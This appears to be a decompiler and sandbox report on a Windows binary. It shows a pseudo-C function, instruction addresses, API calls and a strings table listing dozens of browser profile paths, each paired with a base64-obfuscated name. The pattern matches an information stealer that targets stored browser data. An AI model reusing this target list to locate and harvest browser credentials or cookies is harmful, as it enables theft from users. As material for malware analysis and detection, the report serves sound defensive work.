				E00007FF77FF71062CB70(_t697, 0, "Vivaldi", _t800, _t1132 + 0x10f0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1110], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1120], xmm1");
				_t480 = _t1129 + 8; // 0x8
				r8d = _t480;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1110, "WHBvbQ==", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Xpom";
				 *((long long*)(_t1135 + 0x28)) = 4;
				E00007FF77FF71062CB70(_t697, 0, "Xpom", _t800, _t1132 + 0x1130, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1150], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x1160], xmm1");
				_t486 = _t1129 + 8; // 0x8
				r8d = _t486;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1150, "WHZhc3Q=", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Xvast";
				 *((long long*)(_t1135 + 0x28)) = 5;
				E00007FF77FF71062CB70(_t697, 0, "Xvast", _t800, _t1132 + 0x1170, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x1190], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x11a0], xmm1");
				_t492 = _t1129 + 8; // 0x8
				r8d = _t492;
				E00007FF77FF71062A010(_t800, _t1132 + 0x1190, "WWFuZGV4", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "Yandex\\YandexBrowser";
				 *((long long*)(_t1135 + 0x28)) = 0x14;
				E00007FF77FF71062CB70(_t697, 0, "Yandex\\YandexBrowser", _t800, _t1132 + 0x11b0, _t1135 + 0x20, _t1132);
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x11d0], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqa [ebp+0x11e0], xmm1");
				_t498 = _t1129 + 0xc; // 0xc
				r8d = _t498;
				E00007FF77FF71062A010(_t800, _t1132 + 0x11d0, "dUNvek1lZGlh", _t1137);
				 *((long long*)(_t1135 + 0x20)) = "uCozMedia\\Uran";
				 *((long long*)(_t1135 + 0x28)) = 0xe;
				E00007FF77FF71062CB70(_t697, 0, "uCozMedia\\Uran", _t800, _t1132 + 0x11f0, _t1135 + 0x20, _t1132);
				 *((long long*)(_t1135 + 0x20)) = _t1132 - 0x30;
				 *((long long*)(_t1135 + 0x28)) = _t1132 + 0x1210;
				E00007FF77FF7106281C0(_t1132 + 0x1210, _t800, _t800, _t1135 + 0x20);
				 *((intOrPtr*)(_t1135 + 0x30)) = 0xffffffff;
				_t512 = _t1129 + 0x49; // 0x49
				r8d = _t512;
				E00007FF77FF710641E54(_t1132 - 0x30, _t1135 + 0x20, _t1137, 0x7ff7106253b0);
				_t1114 =  *((intOrPtr*)(_t1135 + 0x58));
				if (_t1114 - 8 < 0) goto 0x10626fa2;
				if (2 + _t1114 * 2 - 0x1000 < 0) goto 0x10626f9d;
				if ( *((intOrPtr*)(_t1135 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x40)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106270b9;
				E00007FF77FF710641E10( *((intOrPtr*)(_t1135 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x40)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x40)) - 8)));
				asm("movdqa xmm0, [0x577d6]");
				asm("movdqu [esp+0x50], xmm0");
				 *((short*)(_t1135 + 0x40)) = 0;
				_t1117 =  *((intOrPtr*)(_t1132 - 0x68));
				if (_t1117 - 8 < 0) goto 0x10626ff5;
				if (2 + _t1117 * 2 - 0x1000 < 0) goto 0x10626ff0;
				if ( *((intOrPtr*)(_t1132 - 0x80)) -  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x80)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106270bf;
				E00007FF77FF710641E10( *((intOrPtr*)(_t1132 - 0x80)) -  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x80)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x80)) - 8)));
				asm("movdqa xmm0, [0x57783]");
				asm("movdqu [ebp-0x70], xmm0");
				 *((short*)(_t1132 - 0x80)) = 0;
				_t1120 =  *((intOrPtr*)(_t1135 + 0x78));
				if (_t1120 - 8 < 0) goto 0x10627048;
				if (2 + _t1120 * 2 - 0x1000 < 0) goto 0x10627043;
				if ( *((intOrPtr*)(_t1135 + 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x60)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106270c5;
				E00007FF77FF710641E10( *((intOrPtr*)(_t1135 + 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x60)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t1135 + 0x60)) - 8)));
				asm("movdqa xmm0, [0x57730]");
				asm("movdqu [esp+0x70], xmm0");
				 *((short*)(_t1135 + 0x60)) = 0;
				_t1123 =  *((intOrPtr*)(_t1132 - 0x48));
				if (_t1123 - 8 < 0) goto 0x10627097;
				if (2 + _t1123 * 2 - 0x1000 < 0) goto 0x10627092;
				if ( *((intOrPtr*)(_t1132 - 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x60)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106270b3;
				return E00007FF77FF710641E10( *((intOrPtr*)(_t1132 - 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x60)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t1132 - 0x60)) - 8)));
			}

0x7ff710625530
0x7ff710625530
0x7ff710625535
0x7ff71062553a
0x7ff710625540
0x7ff71062554d
0x7ff710625552
0x7ff710625555
0x7ff710625558
0x7ff71062555e
0x7ff710625562
0x7ff710625566
0x7ff710625569
0x7ff71062556c
0x7ff710625570
0x7ff710625573
0x7ff710625578
0x7ff710625578
0x7ff710625587
0x7ff710625594
0x7ff710625599
0x7ff7106255ab
0x7ff7106255b0
0x7ff7106255b8
0x7ff7106255bb
0x7ff7106255bf
0x7ff7106255c2
0x7ff7106255c7
0x7ff7106255c7
0x7ff7106255d6
0x7ff7106255e3
0x7ff7106255e8
0x7ff7106255fa
0x7ff7106255ff
0x7ff710625607
0x7ff71062560a
0x7ff71062560e
0x7ff710625611
0x7ff710625616
0x7ff710625616
0x7ff710625625
0x7ff710625632
0x7ff710625637
0x7ff710625649
0x7ff71062564e
0x7ff710625656
0x7ff710625659
0x7ff710625660
0x7ff710625663
0x7ff71062566b
0x7ff71062566b
0x7ff71062567d
0x7ff71062568a
0x7ff71062568f
0x7ff7106256a4
0x7ff7106256a9
0x7ff7106256b1
0x7ff7106256b4
0x7ff7106256bb
0x7ff7106256be
0x7ff7106256c6
0x7ff7106256c6
0x7ff7106256d8
0x7ff7106256e5
0x7ff7106256ea
0x7ff7106256ff
0x7ff710625704
0x7ff71062570c
0x7ff71062570f
0x7ff710625716
0x7ff710625719
0x7ff710625721
0x7ff710625721
0x7ff710625733
0x7ff710625740
0x7ff710625745
0x7ff71062575a
0x7ff71062575f
0x7ff710625767
0x7ff71062576a
0x7ff710625771
0x7ff710625774
0x7ff71062577c
0x7ff71062577c
0x7ff71062578e
0x7ff71062579b
0x7ff7106257a0
0x7ff7106257b5
0x7ff7106257ba
0x7ff7106257c2
0x7ff7106257c5
0x7ff7106257cc
0x7ff7106257cf
0x7ff7106257d7
0x7ff7106257d7
0x7ff7106257e9
0x7ff7106257f6
0x7ff7106257fb
0x7ff710625810
0x7ff710625815
0x7ff71062581d
0x7ff710625820
0x7ff710625827
0x7ff71062582a
0x7ff710625832
0x7ff710625832
0x7ff710625844
0x7ff710625851
0x7ff710625856
0x7ff71062586b
0x7ff710625870
0x7ff710625878
0x7ff71062587b
0x7ff710625882
0x7ff710625885
0x7ff71062588d
0x7ff71062588d
0x7ff71062589f
0x7ff7106258ac
0x7ff7106258b1
0x7ff7106258c6
0x7ff7106258cb
0x7ff7106258d3
0x7ff7106258d6
0x7ff7106258dd
0x7ff7106258e0
0x7ff7106258e8
0x7ff7106258e8
0x7ff7106258fa
0x7ff710625907
0x7ff71062590c
0x7ff710625921
0x7ff710625926
0x7ff71062592e
0x7ff710625931
0x7ff710625938
0x7ff71062593b
0x7ff710625943
0x7ff710625943
0x7ff710625955
0x7ff710625962
0x7ff710625967
0x7ff71062597c
0x7ff710625981
0x7ff710625989
0x7ff71062598c
0x7ff710625993
0x7ff710625996
0x7ff71062599e
0x7ff71062599e
0x7ff7106259b0
0x7ff7106259bd
0x7ff7106259c2
0x7ff7106259d7
0x7ff7106259dc
0x7ff7106259e4
0x7ff7106259e7
0x7ff7106259ee
0x7ff7106259f1
0x7ff7106259f9
0x7ff7106259f9
0x7ff710625a0b
0x7ff710625a18
0x7ff710625a1d
0x7ff710625a32
0x7ff710625a37
0x7ff710625a3f
0x7ff710625a42
0x7ff710625a49
0x7ff710625a4c
0x7ff710625a54
0x7ff710625a54
0x7ff710625a66
0x7ff710625a73
0x7ff710625a78
0x7ff710625a8d
0x7ff710625a92
0x7ff710625a9a
0x7ff710625a9d
0x7ff710625aa4
0x7ff710625aa7
0x7ff710625aaf
0x7ff710625aaf
0x7ff710625ac1
0x7ff710625ace
0x7ff710625ad3
0x7ff710625ae8
0x7ff710625aed
0x7ff710625af5
0x7ff710625af8
0x7ff710625aff
0x7ff710625b02
0x7ff710625b0a
0x7ff710625b0a
0x7ff710625b1c
0x7ff710625b29
0x7ff710625b2e
0x7ff710625b43
0x7ff710625b48
0x7ff710625b50
0x7ff710625b53
0x7ff710625b5a
0x7ff710625b5d
0x7ff710625b65
0x7ff710625b65
0x7ff710625b77
0x7ff710625b84
0x7ff710625b89
0x7ff710625b9e
0x7ff710625ba3
0x7ff710625bab
0x7ff710625bae
0x7ff710625bb5
0x7ff710625bb8
0x7ff710625bc0
0x7ff710625bc0
0x7ff710625bd2
0x7ff710625bdf
0x7ff710625be4
0x7ff710625bf9
0x7ff710625bfe
0x7ff710625c06
0x7ff710625c09
0x7ff710625c10
0x7ff710625c13
0x7ff710625c1b
0x7ff710625c1b
0x7ff710625c2d
0x7ff710625c3a
0x7ff710625c3f
0x7ff710625c54
0x7ff710625c59
0x7ff710625c61
0x7ff710625c64
0x7ff710625c6b
0x7ff710625c6e
0x7ff710625c76
0x7ff710625c76
0x7ff710625c88
0x7ff710625c95
0x7ff710625c9a
0x7ff710625caf
0x7ff710625cb4
0x7ff710625cbc
0x7ff710625cbf
0x7ff710625cc6
0x7ff710625cc9
0x7ff710625cd1
0x7ff710625cd1
0x7ff710625ce3
0x7ff710625cf0
0x7ff710625cf5
0x7ff710625d0a
0x7ff710625d0f
0x7ff710625d17
0x7ff710625d1a
0x7ff710625d21
0x7ff710625d24
0x7ff710625d2c
0x7ff710625d2c
0x7ff710625d3e
0x7ff710625d4b
0x7ff710625d50
0x7ff710625d65
0x7ff710625d6a
0x7ff710625d72
0x7ff710625d75
0x7ff710625d7c
0x7ff710625d7f
0x7ff710625d87
0x7ff710625d87
0x7ff710625d99
0x7ff710625da6
0x7ff710625dab
0x7ff710625dc0
0x7ff710625dc5
0x7ff710625dcd
0x7ff710625dd0
0x7ff710625dd7
0x7ff710625dda
0x7ff710625de2
0x7ff710625de2
0x7ff710625df4
0x7ff710625e01
0x7ff710625e06
0x7ff710625e1b
0x7ff710625e20
0x7ff710625e28
0x7ff710625e2b
0x7ff710625e32
0x7ff710625e35
0x7ff710625e3d
0x7ff710625e3d
0x7ff710625e4f
0x7ff710625e5c
0x7ff710625e61
0x7ff710625e76
0x7ff710625e7b
0x7ff710625e83
0x7ff710625e86
0x7ff710625e8d
0x7ff710625e90
0x7ff710625e98
0x7ff710625e98
0x7ff710625eaa
0x7ff710625eb7
0x7ff710625ebc
0x7ff710625ed1
0x7ff710625ed6
0x7ff710625ede
0x7ff710625ee1
0x7ff710625ee8
0x7ff710625eeb
0x7ff710625ef3
0x7ff710625ef3
0x7ff710625f05
0x7ff710625f12
0x7ff710625f17
0x7ff710625f2c
0x7ff710625f31
0x7ff710625f39
0x7ff710625f3c
0x7ff710625f43
0x7ff710625f46
0x7ff710625f4e
0x7ff710625f4e
0x7ff710625f60
0x7ff710625f6d
0x7ff710625f72
0x7ff710625f87
0x7ff710625f8c
0x7ff710625f94
0x7ff710625f97
0x7ff710625f9e
0x7ff710625fa1
0x7ff710625fa9
0x7ff710625fa9
0x7ff710625fbb
0x7ff710625fc8
0x7ff710625fcd
0x7ff710625fe2
0x7ff710625fe7
0x7ff710625fef
0x7ff710625ff2
0x7ff710625ff9
0x7ff710625ffc
0x7ff710626004
0x7ff710626004
0x7ff710626016
0x7ff710626023
0x7ff710626028
0x7ff71062603d
0x7ff710626042
0x7ff71062604a
0x7ff71062604d
0x7ff710626054
0x7ff710626057
0x7ff71062605f
0x7ff71062605f
0x7ff710626071
0x7ff71062607e
0x7ff710626083
0x7ff710626098
0x7ff71062609e
0x7ff7106260a1
0x7ff7106260a8
0x7ff7106260ab
0x7ff7106260b3
0x7ff7106260b3
0x7ff7106260c5
0x7ff7106260d2
0x7ff7106260d7
0x7ff7106260ec
0x7ff7106260f2
0x7ff7106260f5
0x7ff7106260fc
0x7ff7106260ff
0x7ff710626107
0x7ff710626107
0x7ff710626119
0x7ff710626126
0x7ff71062612b
0x7ff710626140
0x7ff710626146
0x7ff710626149
0x7ff710626150
0x7ff710626153
0x7ff71062615b
0x7ff71062615b
0x7ff71062616d
0x7ff71062617a
0x7ff71062617f
0x7ff710626194
0x7ff71062619a
0x7ff71062619d
0x7ff7106261a4
0x7ff7106261a7
0x7ff7106261af
0x7ff7106261af
0x7ff7106261c1
0x7ff7106261ce
0x7ff7106261d3
0x7ff7106261e8
0x7ff7106261ee
0x7ff7106261f1
0x7ff7106261f8
0x7ff7106261fb
0x7ff710626203
0x7ff710626203
0x7ff710626215
0x7ff710626222
0x7ff710626227
0x7ff71062623c
0x7ff710626242
0x7ff710626245
0x7ff71062624c
0x7ff71062624f
0x7ff710626257
0x7ff710626257
0x7ff710626269
0x7ff710626276
0x7ff71062627b
0x7ff710626290
0x7ff710626296
0x7ff710626299
0x7ff7106262a0
0x7ff7106262a3
0x7ff7106262ab
0x7ff7106262ab
0x7ff7106262bd
0x7ff7106262ca
0x7ff7106262cf
0x7ff7106262e4
0x7ff7106262ea
0x7ff7106262ed
0x7ff7106262f4
0x7ff7106262f7
0x7ff7106262ff
0x7ff7106262ff
0x7ff710626311
0x7ff71062631e
0x7ff710626323
0x7ff710626338
0x7ff71062633e
0x7ff710626341
0x7ff710626348
0x7ff71062634b
0x7ff710626353
0x7ff710626353
0x7ff710626365
0x7ff710626372
0x7ff710626377
0x7ff71062638c
0x7ff710626392
0x7ff710626395
0x7ff71062639c
0x7ff71062639f
0x7ff7106263a7
0x7ff7106263a7
0x7ff7106263b9
0x7ff7106263c6
0x7ff7106263cb
0x7ff7106263e0
0x7ff7106263e6
0x7ff7106263e9
0x7ff7106263f0
0x7ff7106263f3
0x7ff7106263fb
0x7ff7106263fb
0x7ff71062640d
0x7ff71062641a
0x7ff71062641f
0x7ff710626434
0x7ff71062643a
0x7ff71062643d
0x7ff710626444
0x7ff710626447
0x7ff71062644f
0x7ff71062644f
0x7ff710626461
0x7ff71062646e
0x7ff710626473
0x7ff710626488
0x7ff71062648e
0x7ff710626495
0x7ff71062649a
0x7ff7106264ac
0x7ff7106264b1
0x7ff7106264c5
0x7ff7106264ca
0x7ff7106264db
0x7ff7106264e0
0x7ff7106264e3
0x7ff7106264ea
0x7ff7106264ed
0x7ff7106264f5
0x7ff7106264f5
0x7ff710626507
0x7ff71062650c
0x7ff710626511
0x7ff710626518
0x7ff71062651d
0x7ff710626524
0x7ff71062652c
0x7ff710626532
0x7ff71062653e
0x7ff710626543
0x7ff710626555
0x7ff71062655a
0x7ff71062656e
0x7ff710626573
0x7ff710626584
0x7ff710626589
0x7ff71062658c
0x7ff710626593
0x7ff710626596
0x7ff71062659e
0x7ff71062659e
0x7ff7106265b0
0x7ff7106265b5
0x7ff7106265ba
0x7ff7106265c1
0x7ff7106265c6
0x7ff7106265cd
0x7ff7106265d5
0x7ff7106265db
0x7ff7106265e0
0x7ff7106265e3
0x7ff7106265ea
0x7ff7106265ed
0x7ff7106265f5
0x7ff7106265f5
0x7ff710626607
0x7ff710626614
0x7ff710626619
0x7ff71062662e
0x7ff710626633
0x7ff71062663b
0x7ff71062663e
0x7ff710626645
0x7ff710626648
0x7ff710626650
0x7ff710626650
0x7ff710626662
0x7ff710626668
0x7ff71062666d
0x7ff710626682
0x7ff710626687
0x7ff71062668f
0x7ff710626692
0x7ff710626699
0x7ff71062669c
0x7ff7106266a4
0x7ff7106266a4
0x7ff7106266b6
0x7ff7106266c3
0x7ff7106266c8
0x7ff7106266dd
0x7ff7106266e2
0x7ff7106266ea
0x7ff7106266ed
0x7ff7106266f4
0x7ff7106266f7
0x7ff7106266ff
0x7ff7106266ff
0x7ff710626711
0x7ff71062671e
0x7ff710626723
0x7ff710626738
0x7ff71062673d
0x7ff710626745
0x7ff710626748
0x7ff71062674f
0x7ff710626752
0x7ff71062675a
0x7ff71062675a
0x7ff71062676c
0x7ff710626779
0x7ff71062677e
0x7ff710626793
0x7ff710626798
0x7ff7106267a0
0x7ff7106267a3
0x7ff7106267aa
0x7ff7106267ad
0x7ff7106267b5
0x7ff7106267b5
0x7ff7106267c7
0x7ff7106267d4
0x7ff7106267d9
0x7ff7106267ee
0x7ff7106267f3
0x7ff7106267fb
0x7ff7106267fe
0x7ff710626805
0x7ff710626808
0x7ff710626810
0x7ff710626810
0x7ff710626822
0x7ff71062682f
0x7ff710626834
0x7ff710626849
0x7ff71062684e
0x7ff710626856
0x7ff710626859
0x7ff710626860
0x7ff710626863
0x7ff71062686b
0x7ff71062686b
0x7ff71062687d
0x7ff71062688a
0x7ff71062688f
0x7ff7106268a4
0x7ff7106268a9
0x7ff7106268b1
0x7ff7106268b4
0x7ff7106268bb
0x7ff7106268be
0x7ff7106268c6
0x7ff7106268c6
0x7ff7106268d8
0x7ff7106268e5
0x7ff7106268ea
0x7ff7106268ff
0x7ff710626904
0x7ff71062690c
0x7ff71062690f
0x7ff710626916
0x7ff710626919
0x7ff710626921
0x7ff710626921
0x7ff710626933
0x7ff710626940
0x7ff710626945
0x7ff71062695a
0x7ff71062695f
0x7ff710626967
0x7ff71062696a
0x7ff710626971
0x7ff710626974
0x7ff71062697c
0x7ff71062697c
0x7ff71062698e
0x7ff71062699b
0x7ff7106269a0
0x7ff7106269b5
0x7ff7106269ba
0x7ff7106269c2
0x7ff7106269c5
0x7ff7106269cc
0x7ff7106269cf
0x7ff7106269d7
0x7ff7106269d7
0x7ff7106269e9
0x7ff7106269f6
0x7ff7106269fb
0x7ff710626a10
0x7ff710626a15
0x7ff710626a1d
0x7ff710626a20
0x7ff710626a27
0x7ff710626a2a
0x7ff710626a32
0x7ff710626a32
0x7ff710626a44
0x7ff710626a51
0x7ff710626a56
0x7ff710626a6b
0x7ff710626a70
0x7ff710626a78
0x7ff710626a7b
0x7ff710626a82
0x7ff710626a85
0x7ff710626a8d
0x7ff710626a8d
0x7ff710626a9f
0x7ff710626aac
0x7ff710626ab1
0x7ff710626ac6
0x7ff710626acb
0x7ff710626ad3
0x7ff710626ad6
0x7ff710626add
0x7ff710626ae0
0x7ff710626ae8
0x7ff710626ae8
0x7ff710626afa
0x7ff710626b07
0x7ff710626b0c
0x7ff710626b21
0x7ff710626b26
0x7ff710626b2e
0x7ff710626b31
0x7ff710626b38
0x7ff710626b3b
0x7ff710626b43
0x7ff710626b43
0x7ff710626b55
0x7ff710626b62
0x7ff710626b67
0x7ff710626b7c
0x7ff710626b82
0x7ff710626b85
0x7ff710626b8c
0x7ff710626b8f
0x7ff710626b97
0x7ff710626b97
0x7ff710626ba9
0x7ff710626bb6
0x7ff710626bbb
0x7ff710626bd0
0x7ff710626bd6
0x7ff710626bd9
0x7ff710626be0
0x7ff710626be3
0x7ff710626beb
0x7ff710626beb
0x7ff710626bfd
0x7ff710626c0a
0x7ff710626c0f
0x7ff710626c24
0x7ff710626c2a
0x7ff710626c2d
0x7ff710626c34
0x7ff710626c37
0x7ff710626c3f
0x7ff710626c3f
0x7ff710626c51
0x7ff710626c5e
0x7ff710626c63
0x7ff710626c78
0x7ff710626c7e
0x7ff710626c81
0x7ff710626c88
0x7ff710626c8b
0x7ff710626c93
0x7ff710626c93
0x7ff710626ca5
0x7ff710626cb2
0x7ff710626cb7
0x7ff710626ccc
0x7ff710626cd2
0x7ff710626cd5
0x7ff710626cdc
0x7ff710626cdf
0x7ff710626ce7
0x7ff710626ce7
0x7ff710626cf9
0x7ff710626d06
0x7ff710626d0b
0x7ff710626d20
0x7ff710626d26
0x7ff710626d29
0x7ff710626d30
0x7ff710626d33
0x7ff710626d3b
0x7ff710626d3b
0x7ff710626d4d
0x7ff710626d5a
0x7ff710626d5f
0x7ff710626d74
0x7ff710626d7a
0x7ff710626d7d
0x7ff710626d84
0x7ff710626d87
0x7ff710626d8f
0x7ff710626d8f
0x7ff710626da1
0x7ff710626dae
0x7ff710626db3
0x7ff710626dc8
0x7ff710626dce
0x7ff710626dd1
0x7ff710626dd8
0x7ff710626ddb
0x7ff710626de3
0x7ff710626de3
0x7ff710626df5
0x7ff710626e02
0x7ff710626e07
0x7ff710626e1c
0x7ff710626e22
0x7ff710626e25
0x7ff710626e2c
0x7ff710626e2f
0x7ff710626e37
0x7ff710626e37
0x7ff710626e49
0x7ff710626e56
0x7ff710626e5b
0x7ff710626e70
0x7ff710626e76
0x7ff710626e79
0x7ff710626e80
0x7ff710626e83
0x7ff710626e8b
0x7ff710626e8b
0x7ff710626e9d
0x7ff710626eaa
0x7ff710626eaf
0x7ff710626ec4
0x7ff710626eca
0x7ff710626ecd
0x7ff710626ed4
0x7ff710626ed7
0x7ff710626edf
0x7ff710626edf
0x7ff710626ef1
0x7ff710626efe
0x7ff710626f03
0x7ff710626f18
0x7ff710626f22
0x7ff710626f2e
0x7ff710626f3b
0x7ff710626f40
0x7ff710626f52
0x7ff710626f52
0x7ff710626f5a
0x7ff710626f60
0x7ff710626f69
0x7ff710626f82
0x7ff710626f97
0x7ff710626f9d
0x7ff710626fa2
0x7ff710626faa
0x7ff710626fb0
0x7ff710626fb5
0x7ff710626fbd
0x7ff710626fd5
0x7ff710626fea
0x7ff710626ff0
0x7ff710626ff5
0x7ff710626ffd
0x7ff710627002
0x7ff710627006
0x7ff71062700f
0x7ff710627028
0x7ff71062703d
0x7ff710627043
0x7ff710627048
0x7ff710627050
0x7ff710627056
0x7ff71062705b
0x7ff710627063
0x7ff71062707b
0x7ff710627090
0x7ff7106270b2

APIs

Part of subcall function 00007FF71062CB70: __std_fs_code_page.LIBCPMT ref: 00007FF71062CB93
Part of subcall function 00007FF71062CB70: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF71062CBE6
Part of subcall function 00007FF71062CB70: __std_fs_convert_narrow_to_wide.LIBCPMT ref: 00007FF71062CC1E

Part of subcall function 00007FF71062A010: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71062A0F2
Part of subcall function 00007FF71062A010: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71062A0FE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106270B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106270B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106270BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106270C5

Strings

Nichrome, xrefs: 00007FF710626413
BlackHawk, xrefs: 00007FF71062584A
T3BlcmFHWA==, xrefs: 00007FF7106265A2
CocCoc\Browser, xrefs: 00007FF710625B7D
dUNvek1lZGlh, xrefs: 00007FF710626EE3
Google\Chrome, xrefs: 00007FF710625AC7
Um9ja01lbHQ=, xrefs: 00007FF71062675E
WWFuZGV4, xrefs: 00007FF710626E8F
VG9yY2g=, xrefs: 00007FF710626BEF
RockMelt, xrefs: 00007FF710626772
Q3J5cHRvVGFiQnJvd3Nlcg==, xrefs: 00007FF710625CD5
Bromium, xrefs: 00007FF710625900
AVG\Browser, xrefs: 00007FF7106256DE
Superbird, xrefs: 00007FF710626A4A
~, xrefs: 00007FF71062575F
URBrowser, xrefs: 00007FF710626CFF
RmxvY2s=, xrefs: 00007FF710625E41
R28=, xrefs: 00007FF710625F52
SalamWeb, xrefs: 00007FF710626883
ViaSat\Viasat Browser, xrefs: 00007FF710626D53
Q2hyb21vZG8=, xrefs: 00007FF710625B0E
BraveSoftware\Brave-Browser, xrefs: 00007FF7106258A5
SXJpZGl1bQ==, xrefs: 00007FF710626063
7Star\7Star, xrefs: 00007FF71062562B
Rafotech\Mustang, xrefs: 00007FF710626717
QWNXZWJCcm93c2Vy, xrefs: 00007FF710625725
QmFpZHVTcGFyaw==, xrefs: 00007FF710625780
Go!, xrefs: 00007FF710625F66
Comodo\Dragon, xrefs: 00007FF710625BD8
Kinza, xrefs: 00007FF71062611F
Twinkstar, xrefs: 00007FF710626C57
TWF4dGhvbjM=, xrefs: 00007FF7106262AF
QVZBU1RTb2Z0d2FyZQ==, xrefs: 00007FF71062566F
WHBvbQ==, xrefs: 00007FF710626DE7
Q0NsZWFuZXIg, xrefs: 00007FF710625947
Iridium, xrefs: 00007FF710626077
Maxthon\Application, xrefs: 00007FF71062626F
Q29jQ29j, xrefs: 00007FF710625B69
CoolNovo, xrefs: 00007FF710625C33
QmxhY2tIYXdr, xrefs: 00007FF710625836
Microsoft\Edge, xrefs: 00007FF71062636B
T3BlcmE=, xrefs: 00007FF7106264F9
QIP Surf, xrefs: 00007FF7106266BC
SRWare Iron, xrefs: 00007FF7106267CD
Q2hlZG90, xrefs: 00007FF710625A58
Liebao, xrefs: 00007FF7106261C7
Torch, xrefs: 00007FF710626C03
VmlhU2F0, xrefs: 00007FF710626D3F
AcWebBrowser, xrefs: 00007FF710625739
InsomniacBrowser, xrefs: 00007FF71062601C
UCBrowser\User Data_i18n, xrefs: 00007FF710626CAB
TWF4dGhvbg==, xrefs: 00007FF71062625B
Suhba, xrefs: 00007FF7106269EF
TXNFZGdl, xrefs: 00007FF710626357
N1N0YXI=, xrefs: 00007FF71062561A
Q29vbE5vdm8=, xrefs: 00007FF710625C1F
360se6, xrefs: 00007FF7106255DC
SW5zb21uaWFjQnJvd3Nlcg==, xrefs: 00007FF710626008
QnJhdmU=, xrefs: 00007FF710625891
SwingBrowser, xrefs: 00007FF710626AA5
R2hvc3RCcm93c2Vy, xrefs: 00007FF710625EF7
Sy1NZWxvbg==, xrefs: 00007FF7106260B7
Sidekick, xrefs: 00007FF7106268DE
U2FmZXJUZWNobm9sb2dpZXM=, xrefs: 00007FF710626814
!, xrefs: 00007FF710626834
QVZH, xrefs: 00007FF7106256CA
Sputnik\Sputnik, xrefs: 00007FF710626994
T3BlcmFTb2Z0d2FyZUNyeXB0bw==, xrefs: 00007FF710626453
VGl0YW5Ccm93c2Vy, xrefs: 00007FF710626B47
AVAST Software\Browser, xrefs: 00007FF710625683
UmFmb3RlY2g=, xrefs: 00007FF710626703
VG9yQnJv, xrefs: 00007FF710626B9B
R2FyZW5hUGx1cw==, xrefs: 00007FF710625E9C
Chedot, xrefs: 00007FF710625A6C
Tencent\QQBrowser, xrefs: 00007FF710626B00
Vivaldi, xrefs: 00007FF710626DA7
RmVucmlySW5j, xrefs: 00007FF710625DE6
CatalinaGroup\Citrio, xrefs: 00007FF7106259B6
S2luemE=, xrefs: 00007FF71062610B
R29vZ2xl, xrefs: 00007FF710625FAD
TmV0Ym94QnJvd3Nlcg==, xrefs: 00007FF7106263AB
T3BlcmFTb2Z0d2FyZVN0YWJsZQ==, xrefs: 00007FF710626654
U3VoYmE=, xrefs: 00007FF7106269DB
U2lkZWtpY2s=, xrefs: 00007FF7106268CA
Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer, xrefs: 00007FF710625DFA
Google\Chrome SxS, xrefs: 00007FF710625FC1
RWxlbWVudHNCcm93c2Vy, xrefs: 00007FF710625D30
CCleaner Browser, xrefs: 00007FF71062595B
Maxthon3\Users, xrefs: 00007FF7106262C3
uCozMedia\Uran, xrefs: 00007FF710626EF7
Maxthon5\Users\guest\MagicFill, xrefs: 00007FF710626317
Q2F0YWxpbmFHcm91cA==, xrefs: 00007FF7106259A2
QnJvbWl1bQ==, xrefs: 00007FF7106258EC
Lenovo\SLBrowser, xrefs: 00007FF710626173
Opera Software\Opera Stable, xrefs: 00007FF71062648E
Vml2YWxkaQ==, xrefs: 00007FF710626D93
CentBrowser, xrefs: 00007FF710625A11
U3dpbmdCcm93c2Vy, xrefs: 00007FF710626A91
Yandex\YandexBrowser, xrefs: 00007FF710626EA3
TorBro\Profile, xrefs: 00007FF710626BAF
U2xlaXBuaXI=, xrefs: 00007FF710626925
NetboxBrowser, xrefs: 00007FF7106263BF
Opera Software\Opera Crypto Developer, xrefs: 00007FF710626467
RXBpYw==, xrefs: 00007FF710625D8B
Titan Browser, xrefs: 00007FF710626B5B
TGVub3Zv, xrefs: 00007FF71062615F
Q29vd29u, xrefs: 00007FF710625C7A
VGVuY2VudA==, xrefs: 00007FF710626AEC
T3BlcmFTb2Z0d2FyZU5lb24=, xrefs: 00007FF7106265F9
U3VwZXJiaXJk, xrefs: 00007FF710626A36
GarenaPlus, xrefs: 00007FF710625EB0
